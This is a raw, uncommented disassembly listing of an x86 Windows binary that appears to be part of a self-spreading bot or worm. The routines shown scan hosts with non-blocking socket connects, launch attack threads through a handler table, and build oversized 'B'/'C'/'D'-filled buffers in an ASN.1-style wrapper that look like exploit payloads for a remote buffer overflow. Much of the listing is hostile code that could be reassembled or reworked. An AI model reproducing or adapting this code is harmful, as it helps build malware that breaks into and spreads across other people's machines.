		cmp	eax, esi
		jnz	short loc_40C315
		call	sub_41C062


loc_40C315:				; CODE XREF: sub_40C29A+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4C9450[ecx*8], eax


loc_40C333:				; CODE XREF: sub_40C29A+26j
		pop	esi
		leave
		retn
sub_40C29A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C336	proc near		; CODE XREF: ___:0040BBADp
					; sub_40C3D3+B8p ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4C9384
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C35F
		xor	eax, eax
		jmp	short loc_40C3CE
; ---------------------------------------------------------------------------


loc_40C35F:				; CODE XREF: sub_40C336+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4C9304
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4C93A0
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4C92AC
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4C92EC
		push	esi
		mov	edi, eax
		call	dword_4C939C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C3CE:				; CODE XREF: sub_40C336+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C336	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3D3	proc near		; DATA XREF: sub_40C3D3+34Fo

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 26A0729h
		push	eax
		call	sub_41C058
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C41A:				; CODE XREF: sub_40C3D3+200j
		mov	eax, dword_43C244[ebx]
		cmp	dword_4C9454[eax*8], 0
		jz	loc_40C5D8
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C444
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40C29A
		pop	ecx
		jmp	short loc_40C449
; ---------------------------------------------------------------------------


loc_40C444:				; CODE XREF: sub_40C3D3+60j
		call	sub_40C252


loc_40C449:				; CODE XREF: sub_40C3D3+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43C244[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4C9390
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431EBC
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43C040[ebx]
		push	eax
		call	sub_41C006
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C336
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_40C5C8
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C51D
		push	offset dword_4CB450
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4C9390
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E94
		push	eax
		call	sub_41C006
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C4FF
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C4F3
		lea	eax, [ebp+var_140]


loc_40C4F3:				; CODE XREF: sub_40C3D3+118j
		push	eax
		push	[ebp+var_40]
		call	sub_409862
		add	esp, 14h


loc_40C4FF:				; CODE XREF: sub_40C3D3+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_415CEE
		mov	[esp+29Ch+var_29C], offset dword_4CB450
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C5C8
; ---------------------------------------------------------------------------


loc_40C51D:				; CODE XREF: sub_40C3D3+CDj
		push	edi
		call	dword_4C9390
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41C006
		mov	eax, [ebp+var_20]
		shl	eax, 6
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41C006
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C561
		lea	eax, [ebp+var_140]


loc_40C561:				; CODE XREF: sub_40C3D3+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41C006
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_43180C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C5C8:				; CODE XREF: sub_40C3D3+C3j
					; sub_40C3D3+145j
		push	7D0h
		call	near ptr 268051Bh
		nop
		jmp	loc_40C41A
; ---------------------------------------------------------------------------


loc_40C5D8:				; CODE XREF: sub_40C3D3+55j
		push	esi
		call	sub_40B6C9
		pop	ecx
		push	0
		nop
		call	near ptr 26F0000h


loc_40C5E7:				; DATA XREF: sub_401AC7+1F1Ao
					; sub_401AC7+5BC4o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4C9344
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4C9450[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BD7C
		push	0Bh
		call	sub_40B5F5
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C6B5
		mov	esi, offset dword_4CB450
		push	esi
		call	near ptr 26F0716h
		nop
		push	80000400h
		push	esi
		nop
		call	near ptr 26F05B2h
		test	eax, eax
		jnz	short loc_40C6B5
		lea	eax, [ebp+var_1CC]
		push	offset unk_431FA0
		push	eax
		call	sub_41C006
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C69F
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409862
		add	esp, 14h


loc_40C69F:				; CODE XREF: sub_40C3D3+2ADj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415CEE
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C6B5:				; CODE XREF: sub_40C3D3+277j
					; sub_40C3D3+293j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427088
		mov	edi, ebx
		mov	dword_4C9454[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C782


loc_40C6D3:				; CODE XREF: sub_40C3D3+3A9j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F6C
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B3AD
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43C244[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C3D3
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_40C74D


loc_40C742:				; CODE XREF: sub_40C3D3+378j
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C774
		push	1Eh
		call	esi
		jmp	short loc_40C742
; ---------------------------------------------------------------------------


loc_40C74D:				; CODE XREF: sub_40C3D3+36Dj
		call	near ptr 2680DCDh
		nop
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F34
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415CEE
		add	esp, 10h


loc_40C774:				; CODE XREF: sub_40C3D3+372j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C6D3


loc_40C782:				; CODE XREF: sub_40C3D3+2FAj
		cmp	[ebp+var_30], ebx
		jz	loc_40C82C
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C797:				; CODE XREF: sub_40C3D3+464j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4C9450[eax*8]
		push	eax
		call	dword_4C9390
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431EF4
		push	eax
		call	sub_41C006
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C7E5
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409862
		add	esp, 14h


loc_40C7E5:				; CODE XREF: sub_40C3D3+3F3j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415CEE
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4C9454[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B5F5
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C81C
		push	offset dword_4CB450
		call	near ptr 26F0716h
		nop


loc_40C81C:				; CODE XREF: sub_40C3D3+43Cj
		push	[ebp+var_2C]
		call	sub_40B6C9
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h


loc_40C82C:				; CODE XREF: sub_40C3D3+3B2j
					; sub_40C3D3+471j
		mov	eax, [ebp+var_2C]
		cmp	dword_4C9454[eax*8], 1
		jnz	loc_40C797
		push	7D0h
		call	esi
		jmp	short loc_40C82C
sub_40C3D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C846	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4C9304
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4C9384
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C904
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4C92AC
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43C24C[ecx], esi
		jz	short loc_40C904
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4C9390
		push	eax
		mov	edi, offset dword_4CBE14
		push	offset dword_431FD4
		push	edi
		call	sub_41C006
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409862
		push	edi
		call	sub_415CEE
		add	esp, 28h


loc_40C904:				; CODE XREF: sub_40C846+5Dj
					; sub_40C846+7Ej
		push	esi
		call	dword_4C939C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C846	endp

; ---------------------------------------------------------------------------
byte_40C913	db 55h			; DATA XREF: sub_401AC7+5FA4o
		dd 0EC81EC8Bh, 134h, 85D8B53h, 2B6A5756h, 8D59F38Bh, 0FFFF4CBDh
		dd 8BA5F3FFh, 42708835h, 0A483C700h, 1000000h, 33000000h
		dd 0D075FFFFh, 0FFE075FFh, 4C939015h, 858D5000h, 0FFFFFECCh
		dd 431FFC68h, 0A7E85000h, 8D0000F6h, 0FFFECC85h, 1FF68FFh
		dd 8B500000h, 0C069DC45h, 234h,	43C04005h, 0F1E85000h
		dd 830000F3h, 458D1CC4h, 858D50F8h, 0FFFFFF4Ch,	46685057h
		dd 570040C8h, 2AE89057h, 3B02273Ch, 0FC4589C7h,	7D390B74h
		dd 6A0675F4h, 0EBD6FF32h, 0FC75FFF5h, 364AE890h, 0B3FF0225h
		dd 8Ch,	0A8BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 0DDE85008h
		dd 83000100h, 75FF0CC4h, 2C15FF08h, 40004C92h, 8458950h
		dd 930015FFh, 4589004Ch, 8458D08h, 8D50046Ah, 0E850E045h
		dd 100B4h, 0E90CC483h, 0FFFFFF3Dh
dword_40CA04	dd 81EC8B55h, 130ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401AC7+5CCAo
		dd 0FF50BD8Dh, 0A5F3FFFFh, 7088358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E475FFD4h, 939015FFh,	8D50004Ch, 0FFFED085h
		dd 205068FFh, 0E8500043h, 0F5B6h, 0FED0858Dh, 0FF68FFFFh
		dd 50000001h, 69E0458Bh, 234C0h, 0C0400500h, 0E8500043h
		dd 0F300h, 8D1CC483h, 8D50FC45h, 0FFFF5085h, 685057FFh
		dd 40C846h, 0E8905757h,	2273B39h, 4589C73Bh, 390B7408h
		dd 675F87Dh, 0D6FF326Ah, 75FFF5EBh, 59E89008h, 0FF022535h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0D4458BD6h, 74D8453Bh
		dd 0D445FF08h, 0FFFF6DE9h, 0E475FFFFh, 939015FFh, 8D50004Ch
		dd 0FFFED085h, 202468FFh, 0E8500043h, 0F526h, 0D0858D57h
		dd 0FFFFFFFEh, 8D50EC75h, 0FFFF5485h, 0B5FF50FFh, 0FFFFFF50h
		dd 0FFCD65E8h, 0E075FFFFh, 0FFEBC4E8h, 24C483FFh, 5E5FC033h
		dd 4C2C95Bh
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_40CB11	proc near		; CODE XREF: sub_40CD85+Ep
					; sub_40CD85+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40CB11	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB1B	proc near		; CODE XREF: sub_40CD85+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41BC9B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40CB4D
		push	ebx
		push	0
		push	edi
		call	sub_41BD10
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41CAB0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40CB4D:				; CODE XREF: sub_40CB1B+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40CB1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB55	proc near		; CODE XREF: sub_40CC4F+18p
					; sub_40CCC9+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41BC9B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40CBA1
		push	edi
		push	0
		push	esi
		call	sub_41BD10
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41CAB0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41CAB0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40CBA1:				; CODE XREF: sub_40CB55+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40CB55	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBAA	proc near		; CODE XREF: sub_40CC4F+5Ep
					; sub_40CC4F+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40CBBA
		push	eax
		call	sub_41BA31
		pop	ecx


loc_40CBBA:				; CODE XREF: sub_40CBAA+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40CBAA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBC3	proc near		; CODE XREF: sub_40CC4F+20p
					; sub_40CD2A+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40CBF0
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41BC9B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CBF4


loc_40CBF0:				; CODE XREF: sub_40CBC3+Dj
		xor	al, al
		jmp	short loc_40CC4B
; ---------------------------------------------------------------------------


loc_40CBF4:				; CODE XREF: sub_40CBC3+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41BD10
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40CC19
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40CC33
; ---------------------------------------------------------------------------


loc_40CC19:				; CODE XREF: sub_40CBC3+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40CC33:				; CODE XREF: sub_40CBC3+54j
		push	eax
		call	sub_41CAB0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41BA31
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40CC4B:				; CODE XREF: sub_40CBC3+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40CBC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC4F	proc near		; CODE XREF: sub_40CD85+89p
					; sub_40CD85+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset word_4C91BC
		call	sub_40CB55
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41BC9B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CC89
		xor	al, al
		jmp	short loc_40CCC5
; ---------------------------------------------------------------------------


loc_40CC89:				; CODE XREF: sub_40CC4F+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41BD10
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41CAB0
		add	esp, 18h
		mov	ecx, esi
		call	sub_40CBAA
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40CBAA
		mov	al, 1


loc_40CCC5:				; CODE XREF: sub_40CC4F+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40CC4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCC9	proc near		; CODE XREF: sub_40CCFD+14p
					; sub_40CD1A+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40CB55
		mov	ecx, esi
		call	sub_40CBAA
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CCC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CCFD	proc near		; CODE XREF: sub_40CD85+F0p
					; sub_40CD85+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41B960
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CCC9
		pop	esi
		retn	4
sub_40CCFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD1A	proc near		; CODE XREF: sub_40CD66+Bp
					; sub_40CD85+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CCC9
		retn	8
sub_40CD1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD2A	proc near		; CODE XREF: sub_40CD66+16p
					; sub_40CD85+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40CBC3
		test	al, al
		jz	short loc_40CD63
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CC8C
		call	sub_40CB55
		mov	ecx, esi
		call	sub_40CBAA
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CD63:				; CODE XREF: sub_40CD2A+Fj
		pop	esi
		leave
		retn
sub_40CD2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD66	proc near		; CODE XREF: sub_40CD85+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CD1A
		test	al, al
		jz	short loc_40CD81
		mov	ecx, esi
		call	sub_40CD2A


loc_40CD81:				; CODE XREF: sub_40CD66+12j
		pop	esi
		retn	8
sub_40CD66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD85	proc near		; CODE XREF: ___:0040D60Cp

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40CB11
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40D0D9
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40D0D9
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40CB11
		lea	ecx, [ebp+var_20]
		call	sub_40CB11
		lea	ecx, [ebp+var_50]
		call	sub_40CB11
		lea	ecx, [ebp+var_18]
		call	sub_40CB11
		lea	ecx, [ebp+var_40]
		call	sub_40CB11
		lea	ecx, [ebp+var_38]
		call	sub_40CB11
		lea	ecx, [ebp+var_28]
		call	sub_40CB11
		push	4
		push	offset dword_432088
		lea	ecx, [ebp+var_30]
		call	sub_40CCC9
		push	3
		push	offset dword_432090
		lea	ecx, [ebp+var_30]
		call	sub_40CCC9
		lea	ecx, [ebp+var_30]
		call	sub_40CC4F
		lea	ecx, [ebp+var_30]
		call	sub_40CD2A
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CCC9
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CCC9
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CCC9
		lea	ecx, [ebp+var_20]
		call	sub_40CC4F
		push	offset loc_43240C
		lea	ecx, [ebp+var_50]
		call	sub_40CCFD
		lea	ecx, [ebp+var_50]
		call	sub_40CC4F
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40CB1B
		lea	ecx, [ebp+var_58]
		call	sub_40CC4F
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CD66
		lea	ecx, [ebp+var_58]
		call	sub_40CBAA
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CCFD
		push	4
		push	offset dword_432094
		lea	ecx, [ebp+var_18]
		call	sub_40CCC9
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CCC9
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
